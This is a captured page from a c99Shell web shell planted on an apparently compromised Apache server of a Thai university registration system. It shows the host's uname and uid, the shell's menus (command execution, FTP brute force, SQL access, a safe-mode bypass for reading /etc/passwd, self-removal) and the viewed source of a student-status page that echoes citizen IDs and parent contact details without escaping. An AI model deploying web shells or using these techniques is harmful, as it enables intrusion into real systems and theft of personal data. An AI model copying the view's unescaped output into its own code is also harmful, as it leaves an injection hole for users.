!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_editStudentStatus.php (8.36 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$rowStd 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
$rowSdt = (isset($qu_sdt) && $qu_sdt!=NULL) ? $qu_sdt->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><div align="center">
            <?php echo form_open($this->config->item("rg_folder")."student/std_processStdUpSst", array("name" => "myform""id" => "myform"));?>
            <table align="center" width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr>
                    <td align="center"><span class="h error">แก้ไขสถานะนักศึกษา</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="szone">
<?php
                        
if(isset($flgSuccess)) {
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td colspan="2" align="center" class="coltd_szone2"><span class="h error"><b><?php echo $flgSuccess;?><b></span></td>
                        </tr>
<?php
                        
}
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">รหัสประจำตัวนักศึกษา</td>
                            <td><?php echo $rowStd->stdCode;?>
                            <input type="hidden" name="stdCode" id="stdCode" value="<?php echo $rowStd->stdCode;?>" />
                            <input type="hidden" name="stdId" id="stdId" value="<?php echo $rowStd->stdId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">เลขที่บัตรประจำตัวประชาชน</td>
                            <td><?php echo $rowStd->sdtCitizenId;?>
                            <input type="hidden" name="sdtCitizenId" id="sdtCitizenId" value="<?php echo $rowStd->sdtCitizenId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ระดับการศึกษา</td>
                            <td><?php echo $rowStd->levelName;?>
                            <input type="hidden" name="elvId" id="elvId" value="<?php echo $rowStd->curElvId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">หลักสูตร</td>
                            <td><?php echo $rowStd->curName;?>
                            <input type="hidden" name="curId" id="curId" value="<?php echo $rowStd->curId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อ-สกุลไทย</td>
                            <td><?php echo $rowStd->prefixName.$rowStd->stdName."  ".$rowStd->stdSurname;?>
                            <input type="hidden" name="stdPfId" id="stdPfId" value="<?php echo $rowStd->stdPfId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชื่อ-สกุลผู้ปกครอง</td>
                            <td><?php echo $rowSdt->prefixName.$rowSdt->sdtParentName.' '.$rowSdt->sdtParentSurname;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ความสัมพันธ์กับนักศึกษา</td>
                            <td><?php echo $rowStd->sdtParentRelationship;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ที่อยู่ผู้ปกครองที่สามารถติดต่อได้</td>
                            <td><?php echo $rowStd->sdtParentAddr;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ตำบล</td>
                            <td><?php echo $rowSdt->districtName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2"><font size="2";?><b>อำเภอ</td>
                            <td><?php echo $rowSdt->amphurName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">จังหวัด</td>
                            <td><?php echo $rowSdt->provinceName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">รหัสไปรษณีย์</td>
                            <td><?php echo $rowStd->sdtParentPostCode;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">เบอร์โทรศัพท์บ้าน</td>
                            <td><?php echo $rowStd->sdtParentPhoneNo;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">เบอร์โทรศัพท์มือถือ</td>
                            <td><?php echo $rowStd->sdtParentMobileNo;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">อีเมล์ผู้ปกครอง</td>
                            <td><?php echo $rowStd->sdtParentEmail;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ปีการศึกษาที่เข้า</td>
                            <td><?php echo $rowStd->stdAdY;?>
                            <input type="hidden" name="stdAdY" id="stdAdY" value="<?php echo $rowStd->stdAdY;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2"> ภาคการศึกษาที่เข้า</td>
                            <td><?php echo $rowStd->tmCode;?>
                            <input type="hidden" name="tmIdAdmit" id="tmIdAdmit" value="<?php echo $rowStd->stdTmIdAdmit;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">วันที่รับเข้า</td>
                            <td><?php echo ($rowStd!=NULL) ? fullDate(splitDateDb2($rowStd->stdAdmitDate)) : '';?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">วันที่สิ้นสุดการเป็นนักศึกษา</td>
                            <td><?php echo ($rowStd->stdGraduateDate=='0000-00-00') ? splitDateDb2($rowStd->stdGraduateDate) : fullDate(splitDateDb2($rowStd->stdGraduateDate));?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ชั้นปีนักศึกษา</td>
                            <td><?php echo $rowStd->syCode;?>
                            <input type="hidden" name="stdSyId" id="stdSyId" value="<?php echo $rowStd->stdSyId;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">สถานะของนักศึกษา</td>
                            <td>
<?php
                            
if($rowStd->stdSstId==4)
                                echo 
$rowStd->sstName;
                            else
                                echo 
form_dropdown('stdSstId',$rs_sst,setValue('stdSstId',$rowStd));
?>                    
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2" >สถานะทางการเงิน</td>
                            <td><?php echo $rowStd->fsName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">เจ้าของทุน</td>
                            <td><?php echo $rowStd->soName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">จังหวัดเจ้าของทุน</td>
                            <td><?php echo $rowStd->provinceName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">ประเภททุน</td>
                            <td><?php echo $rowStd->etName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone2">สถานะ/ตำแหน่งก่อนเข้าเรียน</td>
                            <td><?php echo $rowStd->paName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td colspan="2" align="center">
                            <input type="submit" name="edit" value="แก้ไข" <?php if($rowStd->stdSstId==4) {echo "disabled"; }?>>
                            <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                            <input type="button" name="cancel" value="ยกเลิก" onClick="sendPost('myform',
                            {'curId':<?php echo $rowStd->curId;?>,
                             'curName':'<?php echo $rowStd->curName;?>',
                             'adY':<?php echo $rowStd->stdAdY;?>,
                             'tmIdAdmit':<?php echo $rowStd->stdTmIdAdmit;?>,
                             'syId':<?php echo $rowStd->stdSyId;?>},
                             '<?php echo site_url($this->config->item('rg_folder').'student/std_showStdUpSst');?>')" /></td>
                        </tr>
                    </table></td>
                </tr>
            </table><?php echo form_close();?></div>
        <span class="error"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0117 ]--